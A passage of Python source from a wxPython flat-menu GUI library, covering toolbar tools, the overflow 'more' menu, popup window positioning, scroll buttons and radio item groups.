len(self._tbButtons)):\n if self._tbButtons[i]._tbItem.IsSeparator():\n self._moreMenu.AppendSeparator()\n elif not self._tbButtons[i]._tbItem.IsCustomControl():\n tbitem = self._tbButtons[i]._tbItem\n item = FlatMenuItem(self._tbMenu, tbitem.GetId(), tbitem.GetLabel(), \"\", wx.ITEM_NORMAL, None, tbitem.GetBitmap(), tbitem.GetDisabledBitmap())\n item.Enable(tbitem.IsEnabled())\n self._moreMenu.AppendItem(item)\n \n\n if self._showCustomize:\n if invT + invM > 0:\n self._moreMenu.AppendSeparator()\n item = FlatMenuItem(self._moreMenu, self._popupDlgCmdId, \"Customize ...\")\n self._moreMenu.AppendItem(item)\n\n\n def GetInvisibleMenuItemCount(self):\n \"\"\"\n Returns the number of invisible menu items.\n\n :note: Valid only after the `wx.PaintEvent` has been processed after a resize.\n \"\"\"\n \n return len(self._items) - self.GetLastVisibleMenu()\n\n \n def GetInvisibleToolbarItemCount(self):\n \"\"\"\n Returns the number of invisible toolbar items.\n\n :note: Valid only after the `wx.PaintEvent` has been processed after a resize.\n \"\"\"\n \n count = 0\n for i in xrange(len(self._tbButtons)):\n if self._tbButtons[i]._visible == False:\n break\n count = i\n\n return len(self._tbButtons) - count - 1\n\n \n def PopupMoreMenu(self):\n \"\"\" Popups the 'more' menu. \"\"\"\n\n if (not self._showCustomize) and self.GetInvisibleMenuItemCount() + self.GetInvisibleToolbarItemCount() < 1:\n return\n \n self.CreateMoreMenu()\n\n pt = self._dropDownButtonArea.GetTopLeft()\n pt = self.ClientToScreen(pt)\n pt.y += self._dropDownButtonArea.GetHeight()\n self._moreMenu.Popup(pt, self)\n\n\n def OnCustomizeDlg(self, event):\n \"\"\"\n Handles the customize dialog here.\n\n :param `event`: a L{FlatMenuEvent} event to be processed.\n \"\"\"\n\n if not self._dlg:\n self._dlg = FMCustomizeDlg(self)\n else:\n # intialize the dialog\n self._dlg.Initialise()\n \n if self._dlg.ShowModal() == wx.ID_OK:\n # Handle customize requests here\n pass\n \n if \"__WXGTK__\" in wx.Platform:\n # Reset the more button\n dc = wx.ClientDC(self)\n self.DrawMoreButton(dc, -1, ControlNormal)\n\n\n def AppendToolbarItem(self, item):\n \"\"\"\n Appends a tool to the L{FlatMenuBar}.\n \n :warning: This method is now deprecated.\n\n :see: L{AddTool} \n \"\"\"\n\n newItem = ToolBarItem(item, wx.Rect(), ControlNormal)\n self._tbButtons.append(newItem)\n\n\n def AddTool(self, toolId, label=\"\", bitmap1=wx.NullBitmap, bitmap2=wx.NullBitmap,\n kind=wx.ITEM_NORMAL, shortHelp=\"\", longHelp=\"\"):\n \"\"\"\n Adds a tool to the toolbar.\n \n :param `toolId`: an integer by which the tool may be identified in subsequent\n operations;\n :param `label`: the tool label string;\n :param `kind`: may be ``wx.ITEM_NORMAL`` for a normal button (default),\n ``wx.ITEM_CHECK`` for a checkable tool (such tool stays pressed after it had been\n toggled) or ``wx.ITEM_RADIO`` for a checkable tool which makes part of a radio\n group of tools each of which is automatically unchecked whenever another button\n in the group is checked;\n :param `bitmap1`: the primary tool bitmap;\n :param `bitmap2`: the bitmap used when the tool is disabled. If it is equal to\n `wx.NullBitmap`, the disabled bitmap is automatically generated by greing out\n the normal one;\n :param `shortHelp`: a string used for the tools tooltip;\n :param `longHelp`: this string is shown in the `wx.StatusBar` (if any) of the\n parent frame when the mouse pointer is inside the tool.\n \"\"\"\n \n self._tbButtons.append(ToolBarItem(FlatToolbarItem(bitmap1, toolId, label, bitmap2, kind, shortHelp, longHelp), wx.Rect(), ControlNormal))\n\n\n def AddSeparator(self):\n \"\"\" Adds a separator for spacing groups of tools in toolbar. \"\"\"\n\n if len(self._tbButtons) > 0 and not self._tbButtons[len(self._tbButtons)-1]._tbItem.IsSeparator():\n self._tbButtons.append(ToolBarItem(FlatToolbarItem(), wx.Rect(), ControlNormal))\n\n \n def AddControl(self, control):\n \"\"\"\n Adds any control to the toolbar, typically e.g. a combobox.\n \n :param `control`: the control to be added.\n \"\"\"\n \n self._tbButtons.append(ToolBarItem(FlatToolbarItem(control), wx.Rect(), ControlNormal))\n\n\n def AddCheckTool(self, toolId, label=\"\", bitmap1=wx.NullBitmap, bitmap2=wx.NullBitmap, shortHelp=\"\", longHelp=\"\"):\n \"\"\"\n Adds a new check (or toggle) tool to the toolbar.\n\n :see: L{AddTool} for parameter descriptions.\n \"\"\"\n \n self.AddTool(toolId, label, bitmap1, bitmap2, kind=wx.ITEM_CHECK, shortHelp=shortHelp, longHelp=longHelp)\n\n \n def AddRadioTool(self, toolId, label= \"\", bitmap1=wx.NullBitmap, bitmap2=wx.NullBitmap, shortHelp=\"\", longHelp=\"\"):\n \"\"\"\n Adds a new radio tool to the toolbar.\n\n Consecutive radio tools form a radio group\n such that exactly one button in the group is pressed at any moment, in other\n words whenever a button in the group is pressed the previously pressed button\n is automatically released.\n\n You should avoid having the radio groups of only one element as it would be\n impossible for the user to use such button.\n\n By default, the first button in the radio group is initially pressed, the others are not.\n \n :see: L{AddTool} for parameter descriptions.\n \"\"\"\n \n self.AddTool(toolId, label, bitmap1, bitmap2, kind=wx.ITEM_RADIO, shortHelp=shortHelp, longHelp=longHelp)\n \n if len(self._tbButtons)<1 or not self._tbButtons[len(self._tbButtons)-2]._tbItem.IsRadioItem():\n self._tbButtons[len(self._tbButtons)-1]._tbItem.Select(True)\n self._lastRadioGroup += 1\n \n self._tbButtons[len(self._tbButtons)-1]._tbItem.SetGroup(self._lastRadioGroup)\n\n\n def SetUpdateInterval(self, interval):\n \"\"\"\n Sets the updateUI interval for toolbar items. All UpdateUI events are\n sent from within L{OnIdle} handler, the default is 20 milliseconds.\n\n :param `interval`: the updateUI interval in milliseconds. \n \"\"\"\n\n self._interval = interval\n\n\n def PositionAUI(self, mgr, fixToolbar=True):\n \"\"\"\n Positions the control inside a wxAUI / PyAUI frame manager.\n\n :param `mgr`: an instance of `wx.aui.AuiManager` or L{AuiManager};\n :param `fixToolbar`: ``True`` if L{FlatMenuBar} can not be floated.\n \"\"\"\n\n if isinstance(mgr, wx.aui.AuiManager):\n pn = AuiPaneInfo()\n else:\n pn = PyAuiPaneInfo()\n \n xx = wx.SystemSettings_GetMetric(wx.SYS_SCREEN_X)\n\n # We add our menu bar as a toolbar, with the following settings\n\n pn.Name(\"flat_menu_bar\")\n pn.Caption(\"Menu Bar\")\n pn.Top()\n pn.MinSize(wx.Size(xx/2, self._barHeight))\n pn.LeftDockable(False)\n pn.RightDockable(False)\n pn.ToolbarPane()\n \n if not fixToolbar:\n # We add our menu bar as a toolbar, with the following settings\n pn.BestSize(wx.Size(xx, self._barHeight))\n pn.FloatingSize(wx.Size(300, self._barHeight))\n pn.Floatable(True)\n pn.MaxSize(wx.Size(xx, self._barHeight))\n pn.Gripper(True)\n \n else:\n pn.BestSize(wx.Size(xx, self._barHeight))\n pn.Gripper(False)\n\n pn.Resizable(False)\n pn.PaneBorder(False)\n mgr.AddPane(self, pn)\n\n self._mgr = mgr \n\n\n def DoGiveHelp(self, hit):\n \"\"\"\n Gives tooltips and help in `wx.StatusBar`.\n\n :param `hit`: the toolbar tool currently hovered by the mouse.\n \"\"\"\n\n shortHelp = hit.GetShortHelp()\n if shortHelp:\n self.SetToolTipString(shortHelp)\n self._haveTip = True\n\n longHelp = hit.GetLongHelp()\n if not longHelp:\n return\n \n topLevel = wx.GetTopLevelParent(self)\n \n if isinstance(topLevel, wx.Frame) and topLevel.GetStatusBar():\n statusBar = topLevel.GetStatusBar()\n\n if self._statusTimer and self._statusTimer.IsRunning():\n self._statusTimer.Stop()\n statusBar.PopStatusText(0)\n \n statusBar.PushStatusText(longHelp, 0)\n self._statusTimer = StatusBarTimer(self)\n self._statusTimer.Start(_DELAY, wx.TIMER_ONE_SHOT)\n\n\n def RemoveHelp(self):\n \"\"\" Removes the tooltips and statusbar help (if any) for a button. \"\"\"\n\n if self._haveTip:\n self.SetToolTipString(\"\")\n self._haveTip = False\n\n if self._statusTimer and self._statusTimer.IsRunning():\n topLevel = wx.GetTopLevelParent(self)\n statusBar = topLevel.GetStatusBar()\n self._statusTimer.Stop()\n statusBar.PopStatusText(0)\n self._statusTimer = None\n\n\n def OnStatusBarTimer(self):\n \"\"\" Handles the timer expiring to delete the `longHelp` string in the `wx.StatusBar`. \"\"\"\n\n topLevel = wx.GetTopLevelParent(self)\n statusBar = topLevel.GetStatusBar() \n statusBar.PopStatusText(0)\n\n\n\nclass mcPopupWindow(wx.MiniFrame):\n \"\"\" Since Max OS does not support `wx.PopupWindow`, this is an alternative.\"\"\"\n\n def __init__(self, parent):\n \"\"\"\n Default class constructor.\n\n :param `parent`: the L{mcPopupWindow} parent window.\n \"\"\"\n\n wx.MiniFrame.__init__(self, parent, style = wx.POPUP_WINDOW)\n self.SetExtraStyle(wx.WS_EX_TRANSIENT)\n self._parent = parent\n self.Bind(wx.EVT_LEAVE_WINDOW, self.OnLeaveWindow)\n \n\n def OnLeaveWindow(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEAVE_WINDOW`` event for L{mcPopupWindow}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n event.Skip()\n\n\nhavePopupWindow = 1\n\nif wx.Platform == '__WXMAC__':\n havePopupWindow = 0\n wx.PopupWindow = mcPopupWindow\n\n\n# ---------------------------------------------------------------------------- #\n# Class ShadowPopupWindow\n# ---------------------------------------------------------------------------- #\n \nclass ShadowPopupWindow(wx.PopupWindow):\n \"\"\" Base class for generic L{FlatMenu} derived from `wx.PopupWindow`. \"\"\"\n \n def __init__(self, parent=None):\n \"\"\"\n Default class constructor.\n\n :param `parent`: the L{ShadowPopupWindow} parent (tipically your main frame).\n \"\"\"\n \n if not parent:\n parent = wx.GetApp().GetTopWindow()\n\n if not parent:\n raise Exception(\"Can't create menu without parent!\")\n\n wx.PopupWindow.__init__(self, parent)\n\n if \"__WXMSW__\" in wx.Platform and _libimported == \"MH\":\n\n GCL_STYLE= -26\n cstyle= win32gui.GetClassLong(self.GetHandle(), GCL_STYLE)\n if cstyle & CS_DROPSHADOW == 0:\n win32api.SetClassLong(self.GetHandle(),\n GCL_STYLE, cstyle | CS_DROPSHADOW)\n\n # popup windows are created hidden by default\n self.Hide()\n\n \n#--------------------------------------------------------\n# Class FlatMenuButton\n#--------------------------------------------------------\n\nclass FlatMenuButton(object):\n \"\"\"\n A nice small class that functions like `wx.BitmapButton`, the reason I did\n not used `wx.BitmapButton` is that on Linux, it has some extra margins that\n I can't seem to be able to remove.\n \"\"\"\n\n def __init__(self, menu, up, normalBmp, disabledBmp=wx.NullBitmap, scrollOnHover=False):\n \"\"\"\n Default class constructor.\n\n :param `menu`: the parent menu associated with this button;\n :param `up`: ``True`` for up arrow or ``False`` for down arrow;\n :param `normalBmp`: normal state bitmap;\n :param `disabledBmp`: disabled state bitmap.\n \"\"\"\n\n self._normalBmp = normalBmp\n self._up = up\n self._parent = menu\n self._pos = wx.Point()\n self._size = wx.Size()\n self._timerID = wx.NewId()\n self._scrollOnHover = scrollOnHover\n\n if not disabledBmp.Ok():\n self._disabledBmp = wx.BitmapFromImage(self._normalBmp.ConvertToImage().ConvertToGreyscale())\n else: \n self._disabledBmp = disabledBmp\n \n self._state = ControlNormal\n self._timer = wx.Timer(self._parent, self._timerID)\n self._timer.Stop()\n\n\n def __del__(self):\n \"\"\" Used internally. \"\"\"\n\n if self._timer:\n if self._timer.IsRunning():\n self._timer.Stop()\n \n del self._timer\n\n\n def Contains(self, pt):\n \"\"\" Used internally. \"\"\"\n \n rect = wx.RectPS(self._pos, self._size)\n if not rect.Contains(pt):\n return False\n\n return True\n \n\n def Draw(self, dc):\n \"\"\"\n Draws self at rect using dc.\n\n :param `dc`: an instance of `wx.DC`.\n \"\"\"\n\n rect = wx.RectPS(self._pos, self._size)\n xx = rect.x + (rect.width - self._normalBmp.GetWidth())/2\n yy = rect.y + (rect.height - self._normalBmp.GetHeight())/2\n\n self._parent.GetRenderer().DrawScrollButton(dc, rect, self._state)\n dc.DrawBitmap(self._normalBmp, xx, yy, True)\n\n\n def ProcessLeftDown(self, pt):\n \"\"\"\n Handles left down mouse events.\n\n :param `pt`: an instance of `wx.Point` where the left mouse button was pressed.\n \"\"\"\n\n if not self.Contains(pt):\n return False\n\n self._state = ControlPressed\n self._parent.Refresh()\n \n if self._up:\n self._parent.ScrollUp()\n else:\n self._parent.ScrollDown()\n \n self._timer.Start(100)\n return True\n\n\n def ProcessLeftUp(self, pt):\n \"\"\"\n Handles left up mouse events.\n\n :param `pt`: an instance of `wx.Point` where the left mouse button was released.\n \"\"\"\n\n # always stop the timer\n self._timer.Stop()\n\n if not self.Contains(pt):\n return False\n\n self._state = ControlFocus\n self._parent.Refresh()\n\n return True\n\n\n def ProcessMouseMove(self, pt):\n \"\"\"\n Handles mouse motion events. This is called any time the mouse moves in the parent menu, \n so we must check to see if the mouse is over the button.\n\n :param `pt`: an instance of `wx.Point` where the mouse pointer was moved.\n \"\"\"\n\n if not self.Contains(pt):\n \n self._timer.Stop()\n if self._state != ControlNormal:\n \n self._state = ControlNormal\n self._parent.Refresh()\n \n return False\n \n if self._scrollOnHover and not self._timer.IsRunning():\n self._timer.Start(100)\n \n # Process mouse move event\n if self._state != ControlFocus:\n if self._state != ControlPressed:\n self._state = ControlFocus\n self._parent.Refresh()\n \n return True\n\n\n def GetTimerId(self):\n \"\"\" Returns the timer object Ientifier. \"\"\"\n\n return self._timerID\n\n\n def GetTimer(self):\n \"\"\" Returns the timer object. \"\"\"\n\n return self._timer\n\n\n def Move(self, input1, input2=None):\n \"\"\"\n Moves L{FlatMenuButton} to the specified position.\n\n :param `input1`: if it is an instance of `wx.Point`, it represents the L{FlatMenuButton}\n position and the `input2` parameter is not used. Otherwise it is an integer representing\n the button `x` position;\n :param `input2`: if not ``None``, it is an integer representing the button `y` position.\n \"\"\"\n\n if type(input) == type(1):\n self._pos = wx.Point(input1, input2)\n else:\n self._pos = input1\n \n\n def SetSize(self, input1, input2=None):\n \"\"\"\n Sets the size for L{FlatMenuButton}.\n\n :param `input1`: if it is an instance of `wx.Size`, it represents the L{FlatMenuButton}\n size and the `input2` parameter is not used. Otherwise it is an integer representing\n the button width;\n :param `input2`: if not ``None``, it is an integer representing the button height.\n \"\"\"\n\n if type(input) == type(1):\n self._size = wx.Size(input1, input2)\n else:\n self._size = input1\n \n\n def GetClientRect(self):\n \"\"\" Returns the client rectangle for L{FlatMenuButton}. \"\"\"\n\n return wx.RectPS(self._pos, self._size)\n\n\n#--------------------------------------------------------\n# Class FlatMenuItemGroup\n#--------------------------------------------------------\n\nclass FlatMenuItemGroup(object):\n \"\"\"\n A class that manages a group of radio menu items.\n \"\"\"\n \n def __init__(self):\n \"\"\" Default class constructor. \"\"\"\n\n self._items = []\n \n\n def GetSelectedItem(self):\n \"\"\" Returns the selected item. \"\"\"\n\n for item in self._items:\n if item.IsChecked():\n return item\n \n return None\n\n\n def Add(self, item):\n \"\"\"\n Adds a new item to the group.\n\n :param `item`: an instance of L{FlatMenu}.\n \"\"\"\n\n if item.IsChecked():\n # uncheck all other items\n for exitem in self._items:\n exitem._bIsChecked = False\n \n self._items.append(item)\n\n\n def Exist(self, item):\n \"\"\"\n Checks if an item is in the group.\n\n :param `item`: an instance of L{FlatMenu}.\n \"\"\"\n\n if item in self._items:\n return True\n \n return False\n\n\n def SetSelection(self, item):\n \"\"\"\n Selects a particular item.\n\n :param `item`: an instance of L{FlatMenu}.\n \"\"\"\n\n # make sure this item exist in our group\n if not self.Exist(item):\n return\n\n # uncheck all other items\n for exitem in self._items:\n exitem._bIsChecked = False\n \n item._bIsChecked = True\n\n\n def Remove(self, item):\n \"\"\"\n Removes a particular item.\n\n :param `item`: an instance of L{FlatMenu}.\n \"\"\"\n\n if item not in self._items:\n return\n\n self._items.remove(item)\n\n if item.IsChecked() and len(self._items) > 0:\n #if the removed item was the selected one,\n # select the first one in the group\n self._items[0]._bIsChecked = True\n\n\n#--------------------------------------------------------\n# Class FlatMenuBase\n#--------------------------------------------------------\n\nclass FlatMenuBase(ShadowPopupWindow):\n \"\"\"\n Base class for generic flat menu derived from `wx.PopupWindow`.\n \"\"\"\n\n def __init__(self, parent=None):\n \"\"\"\n Default class constructor.\n\n :param `parent`: the L{ShadowPopupWindow} parent window.\n \"\"\"\n\n self._rendererMgr = FMRendererMgr()\n self._parentMenu = parent\n self._openedSubMenu = None\n self._owner = None\n self._popupPtOffset = 0\n self._showScrollButtons = False\n self._upButton = None\n self._downButton = None\n self._is_dismiss = False\n\n ShadowPopupWindow.__init__(self, parent)\n \n\n def OnDismiss(self):\n \"\"\" Fires an event ``EVT_FLAT_MENU_DISMISSED`` and handle menu dismiss. \"\"\"\n\n # Release mouse capture if needed\n if self.HasCapture():\n self.ReleaseMouse()\n\n self._is_dismiss = True\n \n # send an event about our dismissal to the parent (unless we are a sub menu)\n if self.IsShown() and not self._parentMenu:\n\n event = FlatMenuEvent(wxEVT_FLAT_MENU_DISMISSED, self.GetId())\n event.SetEventObject(self)\n\n # Send it\n if self.GetMenuOwner():\n self.GetMenuOwner().GetEventHandler().ProcessEvent(event)\n else:\n self.GetEventHandler().ProcessEvent(event)\n \n\n def Popup(self, pt, parent):\n \"\"\"\n Popups menu at the specified point.\n\n :param `pt`: an instance of `wx.Point`, assumed to be in screen coordinates. However,\n if `parent` is not ``None``, `pt` is translated into the screen coordinates using\n `parent.ClientToScreen()`;\n :param `parent`: if not ``None``, an instance of `wx.Window`.\n \"\"\"\n\n # some controls update themselves from OnIdle() call - let them do it\n wx.GetApp().ProcessIdle()\n\n # The mouse was pressed in the parent coordinates, \n # e.g. pressing on the left top of a text ctrl\n # will result in (1, 1), these coordinates needs\n # to be converted into screen coords\n self._parentMenu = parent\n\n # If we are topmost menu, we use the given pt\n # else we use the logical \n # parent (second argument provided to this function)\n\n if self._parentMenu:\n pos = self._parentMenu.ClientToScreen(pt)\n else:\n pos = pt\n\n # Fit the menu into screen\n pos = self.AdjustPosition(pos)\n if self._showScrollButtons:\n \n sz = self.GetSize()\n # Get the screen height\n scrHeight = wx.SystemSettings_GetMetric(wx.SYS_SCREEN_Y)\n \n\n # position the scrollbar - If we are doing scroll bar buttons put them in the top right and \n # bottom right or else place them as menu items at the top and bottom.\n if self.GetRenderer().scrollBarButtons:\n if not self._upButton:\n self._upButton = FlatMenuButton(self, True, ArtManager.Get().GetStockBitmap(\"arrow_up\"))\n\n if not self._downButton:\n self._downButton = FlatMenuButton(self, False, ArtManager.Get().GetStockBitmap(\"arrow_down\"))\n \n self._upButton.SetSize((SCROLL_BTN_HEIGHT, SCROLL_BTN_HEIGHT))\n self._downButton.SetSize((SCROLL_BTN_HEIGHT, SCROLL_BTN_HEIGHT))\n\n self._upButton.Move((sz.x - SCROLL_BTN_HEIGHT - 4, 4))\n self._downButton.Move((sz.x - SCROLL_BTN_HEIGHT - 4, scrHeight - pos.y - 2 - SCROLL_BTN_HEIGHT))\n else:\n if not self._upButton:\n self._upButton = FlatMenuButton(self, True, getMenuUpArrowBitmap(), scrollOnHover=True)\n\n if not self._downButton:\n self._downButton = FlatMenuButton(self, False, getMenuDownArrowBitmap(), scrollOnHover=True)\n \n self._upButton.SetSize((sz.x-2, self.GetItemHeight()))\n self._downButton.SetSize((sz.x-2, self.GetItemHeight()))\n\n self._upButton.Move((1, 3))\n self._downButton.Move((1, scrHeight - pos.y - 3 - self.GetItemHeight()))\n\n self.Move(pos) \n self.Show()\n\n # Capture mouse event and direct them to us\n if not self.HasCapture():\n self.CaptureMouse()\n \n self._is_dismiss = False\n \n\n def AdjustPosition(self, pos):\n \"\"\"\n Adjusts position so the menu will be fully visible on screen.\n\n :param `pos`: an instance of `wx.Point` specifying the menu position.\n \"\"\"\n\n # Check that the menu can fully appear in the screen\n scrWidth = wx.SystemSettings_GetMetric(wx.SYS_SCREEN_X)\n scrHeight = wx.SystemSettings_GetMetric(wx.SYS_SCREEN_Y)\n \n scrollBarButtons = self.GetRenderer().scrollBarButtons\n scrollBarMenuItems = not scrollBarButtons\n\n size = self.GetSize()\n if scrollBarMenuItems:\n size.y += self.GetItemHeight()*2\n\n # always assume that we have scrollbuttons on\n self._showScrollButtons = False\n pos.y += self._popupPtOffset\n \n if size.y + pos.y > scrHeight:\n # the menu will be truncated\n if self._parentMenu is None:\n # try to flip the menu\n flippedPosy = pos.y - size.y\n flippedPosy -= self._popupPtOffset\n\n if flippedPosy >= 0 and flippedPosy + size.y < scrHeight:\n pos.y = flippedPosy\n return pos\n else: \n # We need to popup scrollbuttons!\n self._showScrollButtons = True\n \n else: \n # we are a submenu\n # try to decrease the y value of the menu position\n newy = pos.y\n newy -= (size.y + pos.y) - scrHeight\n \n if newy + size.y > scrHeight:\n # probably the menu size is too high to fit\n # the screen, we need scrollbuttons\n self._showScrollButtons = True\n else:\n pos.y = newy\n\n menuMaxX = pos.x + size.x\n\n if menuMaxX > scrWidth and pos.x < scrWidth:\n\n if self._parentMenu:\n \n # We are submenu\n self._shiftePos = (size.x + self._parentMenu.GetSize().x)\n pos.x -= self._shiftePos\n pos.x += 10\n \n else:\n\n self._shiftePos = ((size.x + pos.x) - scrWidth) \n pos.x -= self._shiftePos\n\n else:\n\n if self._parentMenu:\n pos.x += 5\n \n return pos\n \n\n def Dismiss(self, dismissParent, resetOwner):\n \"\"\"\n Dismisses the popup window.\n\n :param `dismissParent`: whether to dismiss the parent menu or not;\n :param `resetOwner`: ``True`` to delete the link between this menu and the\n owner menu, ``False`` otherwise. \n \"\"\"\n\n # Check if child menu is poped, if so, dismiss it\n if self._openedSubMenu:\n self._openedSubMenu.Dismiss(False, resetOwner)\n\n self.OnDismiss()\n\n # Reset menu owner\n if resetOwner:\n self._owner = None\n\n self.Show(False)\n\n if self._parentMenu and dismissParent:\n \n self._parentMenu.OnChildDismiss()\n self._parentMenu.Dismiss(dismissParent, resetOwner)\n \n self._parentMenu = None\n\n\n def OnChildDismiss(self):\n \"\"\" Handles children dismiss. \"\"\"\n\n self._openedSubMenu = None\n\n def GetRenderer(self):\n \"\"\" Gets the renderer for this class. \"\"\"\n \n return self._rendererMgr.GetRenderer()\n\n\n def GetRootMenu(self):\n \"\"\" Gets the top level menu. \"\"\"\n\n root = self\n while root._parentMenu:\n root = root._parentMenu\n \n return root\n\n\n def SetOwnerHeight(self, height):\n \"\"\"\n Sets the menu owner height, this will be used to position the menu below\n or above the owner.\n\n :param `height`: an integer representing the menu owner height. \n \"\"\"\n\n self._popupPtOffset = height\n \n \n # by default do nothing\n def ScrollDown(self):\n \"\"\"\n Scroll one unit down.\n By default this function is empty, let derived class do something.\n \"\"\"\n \n pass\n\n\n # by default do nothing\n def ScrollUp(self):\n \"\"\"\n Scroll one unit up.\n By default this function is empty, let derived class do something.\n \"\"\"\n \n pass\n\n\n def GetMenuOwner(self):\n \"\"\"\n Returns the menu logical owner, the owner does not necessarly mean the\n menu parent, it can also be the window that popped up it.\n \"\"\"\n\n return self._owner\n \n\n#--------------------------------------------------------\n# Class ToolBarItem\n#--------------------------------------------------------\n\nclass ToolBarItem(object):\n \"\"\"\n A simple class that holds information about a toolbar item.\n \"\"\"\n \n def __init__(self, tbItem, rect, state):\n \"\"\"\n Default class constructor.\n\n :param `tbItem`: an instance of L{FlatToolbarItem};\n :param `rect`: the client rectangle for the toolbar item;\n :param `state`: the toolbar item state.\n\n :see: L{MenuEntryInfo.SetState} for a list of valid item states. \n \"\"\"\n\n self._tbItem = tbItem\n self._rect = rect\n self._state = state\n self._visible = True\n\n\n#--------------------------------------------------------\n# Class FlatToolBarItem\n#--------------------------------------------------------\n\nclass FlatToolbarItem(object):\n \"\"\"\n This class represents a toolbar item.\n \"\"\"\n\n def __init__(self, controlType=None, id=wx.ID_ANY, label=\"\", disabledBmp=wx.NullBitmap, kind=wx.ITEM_NORMAL,\n shortHelp=\"\", longHelp=\"\"):\n \"\"\"\n Default class constructor.\n\n :param `controlType`: can be ``None`` for a toolbar separator, an instance\n of `wx.Window` for a control or an instance of `wx.Bitmap` for a standard\n toolbar tool;\n :param `id`: the toolbar tool id. If set to ``wx.ID_ANY``, a new id is\n automatically assigned;\n :param `label`: the toolbar tool label;\n :param `disabledBmp`: the bitmap used when the tool is disabled. If the tool\n is a standard one (i.e., not a control or a separator), and `disabledBmp`\n is equal to `wx.NullBitmap`, the disabled bitmap is automatically generated\n by greing the normal one;\n :param `kind`: may be ``wx.ITEM_NORMAL`` for a normal button (default),\n ``wx.ITEM_CHECK`` for a checkable tool (such tool stays pressed after it had been\n toggled) or ``wx.ITEM_RADIO`` for a checkable tool which makes part of a radio\n group of tools each of which is automatically unchecked whenever another button\n in the group is checked;\n :param `shortHelp`: a string used for the tool's tooltip;\n :param `longHelp`: this string is shown in the `wx.StatusBar` (if any) of the\n parent frame when the mouse pointer is inside the tool.\n \"\"\"\n \n if id == wx.ID_ANY:\n id = wx.NewId()\n\n if controlType is None: # Is a separator\n self._normalBmp = wx.NullBitmap\n self._id = wx.NewId()\n self._label = \"\"\n self._disabledImg = wx.NullBitmap\n self._customCtrl = None\n kind = wx.ITEM_SEPARATOR\n\n elif isinstance(controlType, wx.Window): # is a wxControl\n self._normalBmp = wx.NullBitmap\n self._id = id\n self._label = \"\"\n self._disabledImg = wx.NullBitmap\n self._customCtrl = controlType\n kind = FTB_ITEM_CUSTOM\n \n elif isinstance(controlType, wx.Bitmap): # Bitmap construction, simple tool\n self._normalBmp = controlType\n self._id = id\n self._label = label\n self._disabledImg = disabledBmp\n self._customCtrl = None\n \n if not self._disabledImg.Ok():\n # Create a grey bitmap from the normal bitmap\n self._disabledImg = wx.BitmapFromImage(self._normalBmp.ConvertToImage().ConvertToGreyscale())\n\n self._kind = kind\n self._enabled = True\n self._selected = False\n self._group = -1 # group id for radio items\n\n if not shortHelp:\n shortHelp = label\n \n self._shortHelp = shortHelp\n self._longHelp = longHelp\n\n def GetLabel(self):\n \"\"\" Returns the tool label. \"\"\"\n\n return self._label\n\n\n def SetLabel(self, label):\n \"\"\"\n Sets the tool label.\n\n :param `label`: the new tool string.\n \"\"\"\n\n self._label = label\n\n\n def GetBitmap(self):\n \"\"\" Returns the tool bitmap. \"\"\"\n\n return self._normalBmp\n\n\n def SetBitmap(self, bmp):\n \"\"\"\n Sets the tool bitmap.\n\n :param `bmp`: the new tool bitmap, a valid `wx.Bitmap` object.\n \"\"\"\n\n self._normalBmp = bmp\n \n\n def GetDisabledBitmap(self):\n \"\"\" Returns the tool disabled bitmap. \"\"\"\n\n return self._disabledImg\n\n\n def SetDisabledBitmap(self, bmp):\n \"\"\"\n Sets the tool disabled bitmap.\n\n :param `bmp`: the new tool disabled bitmap, a valid `wx.Bitmap` object.\n \"\"\"\n\n self._disabledImg = bmp\n \n\n def GetId(self):\n \"\"\" Gets the tool id. \"\"\"\n\n return self._id\n\n\n def IsSeparator(self):\n \"\"\" Returns whether the tool is a separator or not. \"\"\"\n\n return self._kind == wx.ITEM_SEPARATOR\n\n\n def IsRadioItem(self):\n \"\"\" Returns True if the item is a radio item. \"\"\"\n \n return self._kind == wx.ITEM_RADIO\n\n\n def IsCheckItem(self):\n \"\"\" Returns True if the item is a radio item. \"\"\"\n \n return self._kind == wx.ITEM_CHECK\n\n \n def IsCustomControl(self):\n \"\"\" Returns whether the tool is a custom control or not. \"\"\"\n\n return self._kind == FTB_ITEM_CUSTOM\n\n\n def IsRegularItem(self):\n \"\"\" Returns whether the tool is a standard tool or not. \"\"\"\n\n return self._kind == wx.ITEM_NORMAL\n\n\n def GetCustomControl(self):\n \"\"\" Returns the associated custom control. \"\"\"\n\n return self._customCtrl\n\n\n def IsSelected(self):\n \"\"\" Returns whether the tool is selected or checked.\"\"\"\n \n return self._selected\n\n\n def IsChecked(self):\n \"\"\" Same as L{IsSelected}. More intuitive for check items though. \"\"\"\n \n return self._selected\n\n\n def Select(self, select=True):\n \"\"\"\n Selects or checks a radio or check item.\n\n :param `select`: ``True`` to select or check a tool, ``False`` to unselect\n or uncheck it.\n \"\"\"\n \n self._selected = select\n\n \n def Toggle(self):\n \"\"\" Toggles a check item. \"\"\"\n \n if self.IsCheckItem():\n self._selected = not self._selected\n\n \n def SetGroup(self, group):\n \"\"\"\n Sets group id for a radio item, for other items does nothing.\n\n :param `group`: an instance of L{FlatMenuItemGroup}.\n \"\"\"\n \n if self.IsRadioItem():\n self._group = group\n\n \n def GetGroup(self):\n \"\"\" Returns group id for radio item, or -1 for other item types. \"\"\"\n \n return self._group\n \n \n def IsEnabled(self):\n \"\"\" Returns whether the tool is enabled or not. \"\"\"\n\n return self._enabled\n \n \n def Enable(self, enable=True):\n \"\"\"\n Enables or disables the tool.\n\n :param `enable`: ``True`` to enable the tool, ``False`` to disable it.\n \"\"\"\n\n self._enabled = enable\n\n\n def GetShortHelp(self):\n \"\"\" Returns the tool short help string (displayed in the tool's tooltip). \"\"\"\n\n if self._kind == wx.ITEM_NORMAL:\n return self._shortHelp\n\n return \"\"\n\n\n def SetShortHelp(self, help):\n \"\"\"\n Sets the tool short help string (displayed in the tool's tooltip).\n\n :param `help`: the new tool short help string.\n \"\"\"\n\n if self._kind == wx.ITEM_NORMAL:\n self._shortHelp = help\n\n\n def SetLongHelp(self, help):\n \"\"\"\n Sets the tool long help string (displayed in the parent frame `wx.StatusBar`).\n\n :param `help`: the new tool long help string.\n \"\"\"\n\n if self._kind == wx.ITEM_NORMAL:\n self._longHelp = help\n\n\n def GetLongHelp(self):\n \"\"\" Returns the tool long help string (displayed in the parent frame `wx.StatusBar`). \"\"\"\n\n if self._kind == wx.ITEM_NORMAL:\n return self._longHelp\n\n return \"\"\n\n\n#--------------------------------------------------------\n# Class 